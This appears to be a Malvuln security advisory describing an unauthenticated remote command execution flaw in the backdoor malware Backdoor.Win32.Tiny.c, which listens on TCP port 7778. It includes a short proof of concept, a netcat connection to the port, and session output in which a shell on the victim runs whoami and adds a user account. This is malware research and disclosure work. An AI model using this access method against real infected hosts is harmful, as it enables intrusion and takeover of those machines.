Backdoor.Win32.Tiny.c Code Execution

`Discovery / credits: Malvuln - malvuln.com (c) 2022  
Original source: https://malvuln.com/advisory/c61733c6bcbbb11cee634e0a3fd672e9.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.Tiny.c  
Vulnerability: Unauthenticated Remote Command Execution   
Description: The malware listens on TCP port 7778. Third-party attackers who can reach an infected system can run any OS commands hijacking the compromised host.  
Type: PE32  
MD5: c61733c6bcbbb11cee634e0a3fd672e9  
Vuln ID: MVID-2022-0476  
Disclosure: 01/29/2022   
  
  
Exploit/PoC:  
Note: Hit Enter twice and we get a command line to the infected host.  
  
nc64.exe x.x.x.x 7778  
  
wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww  
'wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww' is not recognized as an internal or external command,  
operable program or batch file.  
  
C:\Users\Victim\Desktop>whoami  
whoami  
desktop-2c3iqho\victim  
  
C:\Users\Victim\Desktop>net user malvuln 13 /add  
net user malvuln 13 /add  
The command completed successfully.  
  
C:\Users\Victim\Desktop>  
  
  
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